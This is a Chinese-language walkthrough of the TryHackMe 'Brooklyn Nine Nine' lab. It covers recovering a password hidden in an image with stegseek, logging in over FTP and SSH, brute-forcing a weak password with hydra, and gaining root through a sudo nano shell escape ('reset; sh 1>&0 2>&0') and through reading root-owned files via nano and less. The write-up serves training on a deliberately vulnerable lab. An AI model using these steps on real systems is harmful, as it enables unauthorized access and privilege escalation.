TryHackMe Brooklyn Nine Nine writeup (zh-TW)

題目資訊
- 平台: TryHackMe
- 房間名稱: Brooklyn Nine Nine
- 難度: Easy
- 目標: 獲取 user.txt 和 root.txt
- 連結: https://tryhackme.com/room/brooklynninenine
System Weakness
發現服務
nmap -Pn 10.201.61.44
- Port 21: FTP
- Port 22: SSH
- Port 80: HTTP
Step 1: 圖片隱寫取得初始密碼(holt)
題目圖片進行隱寫檢查,使用 steghide/stegseek 直接爆字典。
└─$ stegseek brooklyn99.jpg /usr/share/wordlists/rockyou.txt
[i] Found passphrase: "admin"
[i] Original filename: "note.txt".
[i] Extracting to "brooklyn99.jpg.out"
└─$ cat brooklyn99.jpg.out
Holts Password:
fluffydog12@ninenine
Step 2: FTP 枚舉(額外線索)
└─$ ftp 10.10.x.x
Name: holt / Pass: fluffydog12@ninenine
ftp> ls -la
ftp> get note_to_jake.txt
└─$ cat note_to_jake.txt
From Amy,
Jake please change your password. It is too weak and holt will be mad if someone hacks into the nine nine
Step 3: SSH 登入(holt)
└─$ ssh [email protected]
Password: fluffydog12@ninenine
Step 4: 權限提升 - 方法 1(holt → root,nano 產生互動殼)
先確認 sudo 權限:
└─$ sudo -l
(ALL) NOPASSWD: /bin/nano
使用 nano 的 GTFOBins 技巧(^R → ^X 執行指令,綁回 TTY 取得互動殼):
└─$ sudo /bin/nano
[Ctrl+R] → [Ctrl+X]
Command to execute: reset; sh 1>&0 2>&0
驗證與拿旗:
# whoami
root
# cat /root/root.txt
-- Creator : Fsociety2006 --
Congratulations in rooting Brooklyn Nine Nine
Here is the flag: Redacted
Enjoy!!
Step 5: 權限提升 - 方法 2(holt → 直接讀 root.txt)
不需互動殼,直接以 root 權限開檔:
└─$ sudo /bin/nano /root/root.txt
(內容同上,複製旗子即可)
Step 6: 權限提升 - 方法 3(jake → root,less 讀檔)
依 FTP 提示,對 jake 以字典嘗試(略),取得殼後直接讀 root:
jake@brookly_nine_nine:~$ /usr/bin/less /root/root.txt
-- Creator : Fsociety2006 --
Congratulations in rooting Brooklyn Nine Nine
Here is the flag: Redacted
Enjoy!!
/root/root.txt (END)
Step 7: User Flag
在holt使用者家目錄取得 user.txt:
└─$ ls -la ~
nano.save user.txt
└─$ cat ~/user.txt
技術要點
- Steganography(JPEG 內嵌資料)
- 利用 stegseek 從圖片中取出 note,取得 holt 密碼。
- 弱密碼與服務枚舉
- FTP 提示弱密碼;對 jake 進行 SSH 字典攻擊可得。
- sudoers 配置不當(無密碼執行危險程式)
- holt:NOPASSWD 允許
/bin/nano
→ 透過「Read File → Execute」拿 root 互動殼或直接讀 root.txt。 - jake:可直接使用
/usr/bin/less
讀取/root/root.txt
- holt:NOPASSWD 允許
經驗分享
關於Step 1:
這一步之所以知道有隱寫術,是因為網頁的原始碼就提示要用隱寫術去查看圖片,隱寫術有很多工具也有很多相關技術,有時候不同的隱寫術會搭配不同的解密工具,這部分可以自行研究一下,題目選用的是stegseek
關於Step 3:
這一步其實可以用holt,也可以用jake,ssh登入,因為ftp的線索已經說jake的密碼很簡單,所以我們可以用hydra爆破密碼即可,密碼是987654321
關於Step 7:
使用者的flag,user.txt是在holt的家目錄喔~所以如果是用jake的登入,很有可能會先拿root flag再拿user flag
讚!